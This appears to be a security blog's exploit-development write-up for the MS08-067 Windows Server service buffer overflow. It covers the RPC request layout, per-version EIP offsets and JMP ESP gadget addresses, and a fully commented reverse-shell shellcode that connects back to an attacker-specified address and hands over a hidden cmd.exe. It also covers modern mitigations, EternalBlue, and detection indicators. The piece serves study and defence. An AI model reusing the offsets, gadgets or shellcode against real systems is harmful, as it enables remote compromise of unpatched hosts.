Coffee & Security
Back to Blog

MS08-067: Step-by-Step Exploit Development & Shellcode Deep Dive

Complete technical exploit development and shellcode analysis of MS08-067 (CVE-2008-4250) NetAPI buffer overflow. Includes a working exploit, detailed shellcode breakdown, execution flow, PEB walking and ROP chain construction. Published November 2008 on coffeeandsecurity.com by Debasis Mohanty, a security practitioner since 1998.

18 min read

Overview

MS08-067 (CVE-2008-4250) stands as one of the most consequential vulnerabilities in Windows history. A critical stack-based buffer overflow, triggered via path canonicalization handling within the RPC processing chain of the Windows Server service, allowed unauthenticated remote code execution across Windows XP, 2000, Server 2003 and Vista. It became the primary vector for the Conficker worm and remains a defining case study in exploit development.

This write-up is based on my original exploit development and analysis, first published on coffeeandsecurity.com in November 2008. The work included building a working exploit from scratch, not just studying existing ones.

CVSS Score: 10.0 (Critical)

Affected Systems: Windows 2000, XP, Vista, Server 2003, Server 2008

Attack Vector: Network (SMB/445), No authentication required

Published: October 23, 2008


Why MS08-067 Mattered: Wormability

Before diving into the technical details, it is worth understanding why this vulnerability became a defining moment in security history. MS08-067 was a perfect storm of exploitability:

  • No authentication required - anonymous SMB sessions were accepted by default on XP/2000
  • Network reachable - SMB port 445 was open on virtually every Windows machine, especially inside corporate networks
  • Reliable exploitation - the overflow was stack-based with predictable memory layouts (no ASLR on XP)
  • Self-propagating potential - all ingredients for a network worm were present

This is exactly what the Conficker worm exploited. First detected in November 2008, Conficker spread to an estimated 9-15 million machines worldwide by scanning for port 445, exploiting MS08-067 and then propagating to the next target automatically. Entire government networks, military systems and hospital infrastructure were impacted. The worm demonstrated that a single unpatched vulnerability, when wormable, can cascade into a global incident.


Vulnerability Root Cause

The vulnerability exists in the Server service's RPC handling chain, specifically in the path canonicalization logic within netapi32.dll. The function NetpwPathCanonicalize, exposed via the SRVSVC named pipe, processes UNC paths received through RPC/DCOM requests. When a specially crafted path is submitted, the canonicalization routine fails to validate the total length of user-supplied path segments before copying them onto a fixed-size stack buffer.

// Pseudocode of vulnerable function (reconstructed via IDA Pro analysis)
NTSTATUS NetpwPathCanonicalize(
    WCHAR *lpszPath,        // User-controlled input - attacker-supplied UNC path
    WCHAR *lpszCanonical,   // Stack buffer - fixed-size destination
    DWORD cbCanonical,      // Buffer size (not always enforced)
    WCHAR *lpszPrefix,
    LPDWORD lpcbPrefix,
    DWORD dwFlags
) {
    WCHAR wcsTempBuf[MAX_PATH]; // Stack-allocated buffer (~520 bytes)
    
    // BUG: Path segments appended to wcsTempBuf without length validation
    // during canonicalization (resolving ".." components)
    // Attacker supplies path components that exceed MAX_PATH total size
    wcscpy(wcsTempBuf, lpszPath);  // VULNERABLE: No bounds check
}

The bug: During path canonicalization (resolving . and .. components), the function concatenates multiple user-supplied path segments into a fixed MAX_PATH (260 WCHAR = 520 bytes) stack buffer. The RPC interface accepts the crafted input, passes it to the canonicalization routine and the overflow occurs when path components exceed the buffer. By sending a path like \\server\share\..\..\AAAA...AAAA with carefully calculated overflow, an attacker overwrites the saved return address (EIP) on the stack.

Key nuance: The vulnerability is not solely in the canonicalization function itself but in the broader RPC processing chain that accepts untrusted input, passes it through without adequate validation and ultimately triggers the overflow during canonicalization.


Attack Surface

The vulnerability is reachable via:

  1. SMB protocol (port 445) - Windows file sharing
  2. NetBIOS (port 139) - Legacy Windows networking
  3. RPC endpoint - Through \\pipe\\srvsvc named pipe

No authentication is required. The SRVSVC interface accepts anonymous connections on default Windows XP/2000 configurations.


RPC Request Structure

Understanding how the malicious input reaches the vulnerable code requires examining the DCE/RPC request format:

┌─────────────────────────────────────────────────────────────────┐
│  SMB Header                                                     │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  Command: Transaction (0x25)                                ││
│  │  Pipe: \srvsvc                                              ││
│  └─────────────────────────────────────────────────────────────┘│
├─────────────────────────────────────────────────────────────────┤
│  DCE/RPC Header                                                 │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  Version: 5.0                                               ││
│  │  Packet Type: Request (0x00)                                ││
│  │  Interface: SRVSVC {4b324fc8-1670-01d3-1278-5a47bf6ee188}   ││
│  │  Opnum: 31 (NetprPathCanonicalize)                          ││
│  └─────────────────────────────────────────────────────────────┘│
├─────────────────────────────────────────────────────────────────┤
│  RPC Stub Data (Attacker-Controlled)                            │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  ServerName:  [conformant string - target]                  ││
│  │  PathName:    [conformant string - MALICIOUS PATH]          ││
│  │               "\x5c..\x5c..\x5cAAAA...AAAA[shellcode]"     ││
│  │  OutBufLen:   [size - manipulated]                          ││
│  │  Prefix:      [conformant string]                           ││
│  │  PathType:    [pointer - path type flags]                   ││
│  │  Flags:       0x00000000                                    ││
│  └─────────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────────┘

The PathName field is the injection point. The RPC interface deserializes this string and passes it directly to the canonicalization function without adequate length validation. The string includes traversal sequences (..) that the canonicalization logic attempts to resolve, triggering the buffer overflow during path reconstruction.


Exploit vs Shellcode: Understanding the Boundary

A common conflation in exploit analysis is blurring the line between the exploit (gaining control) and the shellcode (what happens after). For MS08-067, the boundary is clear:

The Exploit (Trigger + Control EIP)

The exploit is responsible for:

  1. Establishing an SMB session and binding to the SRVSVC RPC interface
  2. Crafting the malicious UNC path with precise padding
  3. Triggering the stack buffer overflow in the canonicalization routine
  4. Overwriting EIP with a controlled return address (JMP ESP gadget)

At this point, the exploit's job is done. EIP has been hijacked and execution will redirect to attacker-controlled data on the stack.

The Shellcode (Post-Exploitation Payload)

The shellcode is the payload that executes after the exploit hands over control. It is independent of the vulnerability itself and could be swapped for any payload (reverse shell, bind shell, meterpreter, download-and-execute). The shellcode must:

  1. Not contain null bytes (0x00) - breaks string operations
  2. Not contain forward slashes (0x2F) - breaks UNC path parsing
  3. Not contain backslashes (0x5C) - breaks path canonicalization
  4. Be compact enough to fit in the overflow buffer

Exploit Execution Flow

ATTACKER                                    TARGET (Windows XP SP2)
   |                                              |
   |-- TCP SYN ---------------------------------> |  Port 445 (SMB)
   |<- TCP SYN/ACK ----------------------------- |
   |                                              |
   |-- SMB Negotiate Protocol Request ----------> |
   |<- SMB Negotiate Protocol Response ---------- |
   |                                              |
   |-- SMB Session Setup (Anonymous) -----------> |  No auth needed
   |<- SMB Session Setup Response --------------- |
   |                                              |
   |-- SMB Tree Connect (\\target\\IPC$) ---------> |
   |<- SMB Tree Connect Response ---------------- |
   |                                              |
   |-- NT Create (\\srvsvc pipe) ----------------> |  Open named pipe
   |<- NT Create Response ----------------------- |
   |                                              |
   |-- DCE/RPC Bind (SRVSVC interface) ---------> |  Bind to service
   |<- DCE/RPC Bind Ack ------------------------- |
   |                                              |
   |-- NetPathCanonicalize (MALICIOUS path) -----> |  TRIGGER OVERFLOW
   |   [padding][shellcode][ret_addr]             |
   |                                              |
   |         OVERFLOW OCCURS HERE                 |
   |         Stack smashed, EIP overwritten       |
   |         Control transferred to shellcode     |
   |                                              |
   |<- SYSTEM SHELL / Reverse Connection -------- |  RCE achieved

Offset Calculation and EIP Control

Controlling EIP requires precise knowledge of the stack layout. The offset from the start of the overflowed buffer to the saved return address varies by OS version and service pack:

Target System              Offset to EIP    JMP ESP Gadget Address
─────────────────────────  ──────────────   ──────────────────────
Windows XP SP0 (English)   468 bytes        0x71AB1D54 (ws2help.dll)
Windows XP SP1 (English)   468 bytes        0x71AA32AD (ws2help.dll)
Windows XP SP2 (English)   468 bytes        0x71AB9372 (ws2_32.dll)
Windows XP SP3 (English)   468 bytes        0x7C941EED (ntdll.dll)
Windows 2003 SP0           468 bytes        0x71BF045D (ws2help.dll)
Windows 2003 SP1           468 bytes        0x71BE1E5A (ws2help.dll)
Windows 2000 SP4           468 bytes        0x750362C3 (ws2_32.dll)

The overflow buffer is structured as follows:

 Offset:  0                          468       472        476+
         ┌────────────────────────────┬─────────┬──────────────────┐
Payload: │   NOP sled + Shellcode     │ Saved   │  Return Address  │
         │   (position-independent    │  EBP    │  (JMP ESP gadget │
         │    reverse shell code)     │ (junk)  │   in ws2_32.dll) │
         └────────────────────────────┴─────────┴──────────────────┘
                                                         │
         After function return, EIP = JMP ESP ─────────┘
         ESP points to stack area after return address
         Shellcode executes with SYSTEM privileges

Why these offsets work: The wcsTempBuf local variable is 520 bytes (260 WCHAR). The saved EBP and EIP sit immediately above it on the stack. The canonicalization logic processes traversal sequences that manipulate the write position within the buffer, meaning the effective overflow offset depends on the specific path string crafted. Metasploit's module handles this by offering target-specific offsets and return addresses.


Memory Layout: Before and After Overflow

BEFORE OVERFLOW (Normal Execution):

High Address
┌──────────────────────────────────────┐
│  Caller's stack frame                │
├──────────────────────────────────────┤
│  Return Address (EIP) → legitimate   │ ← Points back to RPC handler
├──────────────────────────────────────┤
│  Saved EBP → caller's frame         │ ← Frame pointer chain intact
├──────────────────────────────────────┤
│  wcsTempBuf[260] (520 bytes)         │ ← Stack buffer for path
│  ┌──────────────────────────────────┐│
│  │ "\\\\server\\share\\folder"          ││ ← Normal path data
│  │ [unused space]                   ││
│  └──────────────────────────────────┘│
├──────────────────────────────────────┤
│  Other local variables               │
├──────────────────────────────────────┤
Low Address (ESP)


AFTER OVERFLOW (Exploited):

High Address
┌──────────────────────────────────────┐
│  Caller's stack frame                │
├──────────────────────────────────────┤
│  SHELLCODE (continuation)            │ ← Payload spills above EIP
├──────────────────────────────────────┤
│  Return Address → 0x71AB9372         │ ← JMP ESP in ws2_32.dll
├──────────────────────────────────────┤
│  Saved EBP → 0x41414141             │ ← Overwritten with junk
├──────────────────────────────────────┤
│  NOP sled (0x90 x N)                │ ← Fills the buffer
│  ┌──────────────────────────────────┐│
│  │ SHELLCODE (main body)            ││ ← Position-independent code
│  │ [GetPC][PEB Walk][Reverse Shell] ││
│  └──────────────────────────────────┘│
├──────────────────────────────────────┤
│  Other local variables (corrupted)   │
├──────────────────────────────────────┤
Low Address (ESP → after RET, points here)

EIP control flow: When NetpwPathCanonicalize executes RET, it pops 0x71AB9372 into EIP. This address is a JMP ESP instruction inside ws2_32.dll (which is not subject to ASLR on XP). ESP at that moment points to the stack area immediately after the return address, where the shellcode resides. Execution seamlessly transitions from exploit to payload.


Shellcode Deep Dive

With EIP under control, the shellcode takes over. Below is a detailed walkthrough of a typical reverse-shell payload used with MS08-067:

Shellcode Structure Overview

; ==========================================================
; STAGE 1: GetPC (Get Program Counter)
; Purpose: Determine where in memory our shellcode is located
; Technique: CALL/POP trick (classic PIC shellcode technique)
; ==========================================================

    jmp short get_pc_call       ; Jump forward to the CALL instruction
back_to_shellcode:
    pop esi                     ; ESI now points to next instruction
                                ; (start of actual shellcode body)
    jmp short decode_start      ; Jump to the decoder

get_pc_call:
    call back_to_shellcode      ; CALL pushes next address onto stack
                                ; then jumps back - POP retrieves it

; ==========================================================
; STAGE 2: Stack Alignment
; Purpose: Ensure ESP is 16-byte aligned (required by some APIs)
; ==========================================================

decode_start:
    push esp                    ; Save original stack pointer
    and esp, 0xFFFFFFF0         ; Align to 16-byte boundary
    sub esp, 0x1000             ; Create a 4KB stack frame
                                ; Prevents shellcode from corrupting itself
    mov [esp], esp              ; Store aligned SP

; ==========================================================
; STAGE 3: PEB Walk - Find kernel32.dll base address
; Purpose: Locate kernel32.dll WITHOUT calling any Windows APIs
;          (APIs aren't available until we find them!)
; Technique: Parse the Process Environment Block (PEB) structure
; ==========================================================

    ; Windows TEB (Thread Environment Block) at FS:[0x18]
    ; TEB->PEB pointer at FS:[0x30]
    ; PEB->Ldr at offset 0x0C
    ; Ldr->InMemoryOrderModuleList at offset 0x14
    
    xor eax, eax                ; EAX = 0 (avoid null bytes via arithmetic)
    mov eax, fs:[eax + 0x30]    ; EAX = &PEB (Process Environment Block)
    mov eax, [eax + 0x0C]      ; EAX = &PEB_LDR_DATA
    mov esi, [eax + 0x14]      ; ESI = InMemoryOrderModuleList.Flink
                                ; This is a doubly-linked list of loaded modules
    
    ; Module load order: [0]=ntdll.dll, [1]=kernel32.dll (usually)
    lodsd                       ; EAX = next list entry (skip ntdll.dll)
    xchg esi, eax              
    lodsd                       ; EAX = next entry's data pointer
    mov ebx, [eax + 0x10]      ; EBX = DllBase of kernel32.dll
                                ; Now EBX = base address of kernel32.dll

; ==========================================================
; STAGE 4: Export Table Walking
; Purpose: Resolve function addresses by name hash
;          (avoids hardcoded addresses - works across Windows versions)
; ==========================================================

find_function:
    ; Parse PE Export Directory:
    ; kernel32 base -> DOS header -> PE header -> Optional Header -> Export Directory
    
    mov edx, [ebx + 0x3C]      ; EDX = e_lfanew (PE header offset in DOS header)
    mov edx, [ebx + edx + 0x78]; EDX = RVA of Export Directory
    add edx, ebx               ; EDX = VA of Export Directory
    
    mov esi, [edx + 0x20]      ; ESI = RVA of AddressOfNames array
    add esi, ebx               ; ESI = VA of AddressOfNames
    
    xor ecx, ecx               ; ECX = name index counter (start at 0)

next_export:
    inc ecx                     ; Increment counter
    lodsd                       ; EAX = RVA of next export name
    add eax, ebx               ; EAX = VA of export name string
    
    ; Hash the export name and compare to our target hash
    ; Using ROR-13 hash algorithm (common in shellcode)
    call compute_hash_inline    ; Compute hash of string at EAX
    cmp eax, 0xEC0E4E8E        ; Compare to hash of "LoadLibraryA"
    jnz next_export             ; If not match, try next export
    
    ; Found! Resolve the function address
    mov esi, [edx + 0x24]      ; ESI = RVA of AddressOfNameOrdinals
    add esi, ebx               ; ESI = VA of AddressOfNameOrdinals
    mov cx, [esi + ecx * 2 - 2]; CX = ordinal of the function
    
    mov esi, [edx + 0x1C]      ; ESI = RVA of AddressOfFunctions
    add esi, ebx               ; ESI = VA of AddressOfFunctions
    mov edx, [esi + ecx * 4]   ; EDX = RVA of target function
    add edx, ebx               ; EDX = VA (actual address) of LoadLibraryA
                                ; EDX = kernel32!LoadLibraryA

; ==========================================================
; STAGE 5: Load Additional Libraries
; Purpose: Load ws2_32.dll for network operations (reverse shell)
; ==========================================================

load_ws2_32:
    push 0x6C6C                 ; Push "ll" (part of "ws2_32.dll")
    push 0x642E3233             ; Push "d.23" 
    push 0x5F327377             ; Push "_2sw" -> combined: "ws2_32.dll"
    push esp                    ; Push pointer to string on stack
    call edx                    ; Call LoadLibraryA("ws2_32.dll")
                                ; EAX = handle to ws2_32.dll
    mov ebp, eax               ; Save ws2_32.dll handle

; ==========================================================
; STAGE 6: Resolve Winsock Functions
; Purpose: Get addresses of socket(), connect(), send(), recv()
; ==========================================================

    ; Resolve WSAStartup - initialize Winsock
    push 0x3BCE2F0D             ; Hash of "WSAStartup"
    push ebp                    ; ws2_32.dll handle
    call find_function_by_hash  ; Returns address in EAX
    
    ; Call WSAStartup(MAKEWORD(2,2), &wsaData)
    sub esp, 0x190              ; Allocate WSADATA struct on stack
    push esp                    ; &wsaData
    push 0x0202                 ; wVersionRequested = 2.2
    call eax                    ; WSAStartup()

; ==========================================================
; STAGE 7: Create Socket
; Purpose: Open a TCP socket for reverse shell connection
; ==========================================================

create_socket:
    ; Resolve WSASocketA
    push 0xE0DF0FEA             ; Hash of "WSASocketA"  
    push ebp
    call find_function_by_hash
    
    ; WSASocketA(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6, 0, 0, 0)
    push 0                      ; dwFlags = 0
    push 0                      ; g = 0
    push 0                      ; lpProtocolInfo = NULL
    push 6                      ; protocol = IPPROTO_TCP
    push 1                      ; type = SOCK_STREAM
    push 2                      ; af = AF_INET
    call eax                    ; WSASocketA() -> socket handle in EAX
    mov edi, eax               ; Save socket handle

; ==========================================================
; STAGE 8: Reverse Shell Connection
; Purpose: Connect back to attacker's IP:port
; ==========================================================

connect_back:
    ; Resolve connect()
    push 0x60AAF9EC             ; Hash of "connect"
    push ebp
    call find_function_by_hash
    
    ; Build sockaddr_in structure on stack:
    ; struct sockaddr_in { sin_family, sin_port, sin_addr, sin_zero[8] }
    push 0x0100007F             ; sin_addr = 127.0.0.1 (attacker IP - encoded big-endian)
                                ; In real exploit: attacker's actual IP address
    push 0x5C110002             ; sin_port = 4444 (0x115C) + sin_family = AF_INET (0x0002)
                                ; Port 0x115C = 4444 in little-endian
    push esp                    ; Pointer to sockaddr_in struct
    push 16                     ; sizeof(sockaddr_in)
    push edi                    ; socket handle
    call eax                    ; connect(sock, &addr, sizeof(addr))

; ==========================================================
; STAGE 9: Redirect STDIO to Socket (Shell Spawn)
; Purpose: Create cmd.exe with all I/O going through the socket
; ==========================================================

spawn_shell:
    ; Resolve CreateProcessA
    push 0x16B3FE72             ; Hash of "CreateProcessA"
    push [kernel32_handle]
    call find_function_by_hash
    mov ebx, eax               ; Save CreateProcessA address
    
    ; Build STARTUPINFO struct with hStdInput/Output/Error = socket
    sub esp, 0x54               ; sizeof(STARTUPINFO) = 68 bytes
    mov ecx, 0x54               
    xor eax, eax
    rep stosb                   ; Zero out STARTUPINFO structure
    
    mov byte [esp], 0x54        ; si.cb = sizeof(STARTUPINFO)
    mov dword [esp + 0x2C], 0x101; si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW
    mov word [esp + 0x3C], 0    ; si.wShowWindow = SW_HIDE
    
    ; Point all stdio handles to our socket
    mov [esp + 0x38], edi       ; si.hStdError = socket
    mov [esp + 0x34], edi       ; si.hStdOutput = socket
    mov [esp + 0x30], edi       ; si.hStdInput = socket
    
    ; Allocate PROCESS_INFORMATION struct
    sub esp, 0x10               ; sizeof(PROCESS_INFORMATION)
    
    ; Push CreateProcessA arguments
    push esp                    ; lpProcessInformation
    lea eax, [esp + 0x10]       ; Point to STARTUPINFO
    push eax                    ; lpStartupInfo
    push 0                      ; lpCurrentDirectory = NULL
    push 0                      ; lpEnvironment = NULL
    push 0x08000000             ; dwCreationFlags = CREATE_NO_WINDOW
    push 0                      ; bInheritHandles = FALSE
    push 0                      ; lpThreadAttributes = NULL
    push 0                      ; lpProcessAttributes = NULL
    push 0                      ; lpCommandLine (filled below)
    push 0                      ; lpApplicationName (filled below)
    
    ; Push "cmd.exe" string
    push 0x6578652E             ; "exe."
    push 0x646D6363             ; "dmcc" -> "cmd.exe" (null-free encoding)
    lea eax, [esp]
    mov [esp + 0x08 + 8], eax  ; Fix up lpCommandLine pointer
    
    call ebx                    ; CreateProcessA() - spawns cmd.exe with socket I/O
                                ; Attacker now has an interactive SYSTEM shell

Key Shellcode Techniques Explained

TechniquePurpose
CALL/POP GetPCLocate shellcode in memory without hardcoded addresses
PEB WalkFind kernel32.dll without calling any APIs
ROR-13 HashResolve API names without embedding strings (avoids detection)
Stack String PushEmbed strings like "ws2_32.dll" as hex without null bytes
STARTUPINFO redirectRoute cmd.exe I/O through the TCP socket
Badchar avoidanceAll opcodes chosen to avoid 0x00, 0x2F, 0x5C

Why This Exploit Would Be Harder Today

MS08-067 was devastatingly effective because it targeted systems with minimal exploit mitigations. Modern Windows (10/11/Server 2022) would make this same vulnerability significantly harder to exploit:

Mitigation Comparison

MitigationWindows XP SP2 (2008)Windows 11 (Today)Impact on MS08-067
ASLRNot presentFull ASLR + High EntropyJMP ESP gadget addresses would be randomized. No static return address to hardcode
DEP (NX)Optional, often disabledAlways-on, hardware-enforcedStack memory non-executable. Shellcode on the stack would trigger an access violation
Stack Canaries (/GS)Not compiled into netapi32.dllMandatory in all system DLLsBuffer overflow would corrupt the canary, triggering a security exception before RET
CFG (Control Flow Guard)Not inventedEnabled system-wideIndirect calls validated against a bitmap of legitimate targets
SEHOPNot presentEnabledStructured Exception Handler overwrite attacks blocked
SMB Guest AccessEnabled by defaultDisabled by defaultAnonymous access to SRVSVC pipe would be denied
Windows FirewallBasic, often disabledEnabled with restrictive defaultsPort 445 inbound blocked by default on public networks

What an Attacker Would Need Today

To exploit the same buffer overflow on a modern system, an attacker would need to chain multiple bypass techniques:

  1. ASLR Bypass - an information leak to disclose module base addresses (e.g., a separate vulnerability that leaks a pointer)
  2. DEP Bypass via ROP - instead of direct shellcode, build a Return-Oriented Programming chain from existing code gadgets to call VirtualProtect() and mark memory as executable
  3. Stack Canary Bypass - either leak the canary value through a separate read primitive or find a write-what-where that avoids the canary check entirely
  4. CFG Bypass - locate gadgets within CFG-valid call targets or exploit a CFG implementation weakness

What was a single-shot exploit in 2008 would require a multi-stage exploit chain today, likely combining 3-4 separate vulnerabilities.


MS08-067 vs EternalBlue (MS17-010): Evolution of SMB Exploitation

Both vulnerabilities targeted the SMB stack and enabled worm-like propagation, but they represent different eras of exploitation:

AspectMS08-067 (2008)EternalBlue / MS17-010 (2017)
Vulnerability TypeStack buffer overflowPool-based buffer overflow (kernel)
Vulnerable ComponentServer service RPC chain (user-mode)SMBv1 transaction handling (kernel-mode)
Execution ContextSYSTEM (user-mode service)Ring 0 (kernel)
Exploitation ComplexityStraightforward stack smashHeap feng shui + pool grooming
ASLR/DEPNot present (XP)Present but kernel pool is predictable
Payload DeliveryShellcode on stackKernel shellcode + user-mode payload injection
WormConfickerWannaCry / NotPetya
Estimated Impact9-15 million machines200,000+ machines in 150 countries (WannaCry alone)
AttributionCriminal/opportunisticNSA (Equation Group) tool leak
Patch GapPatched Oct 2008, Conficker hit Nov 2008Patched March 2017, WannaCry hit May 2017

Key evolution: EternalBlue operated in kernel space, making exploitation significantly more complex but also more powerful. Where MS08-067 gave SYSTEM-level access to a user-mode process, EternalBlue provided direct kernel code execution. The shift from stack overflows to pool/heap corruption reflects the broader evolution of both offensive and defensive techniques over that decade.


Detection and Indicators of Compromise

  • Unexpected outbound connections from services.exe (hosts netapi32)
  • SMB connections immediately followed by cmd.exe spawning
  • Process tree: svchost.exe -> cmd.exe with a network socket as STDIN
  • Network signature: malformed NetPathCanonicalize RPC calls with oversized path arguments
  • IDS rule: Snort SID 1:50328 (MS08-067 NetAPI RPC overflow attempt)

References

  • Original Advisory: Microsoft Security Bulletin MS08-067
  • Debasis Mohanty's Analysis: coffeeandsecurity.com - Published November 2008
  • Metasploit Module: exploit/windows/smb/ms08_067_netapi
  • CVE: CVE-2008-4250
  • Conficker Working Group Report: confickerworkinggroup.org

Analysis written by Debasis Mohanty (nopsled) - November 2008 / Updated 2025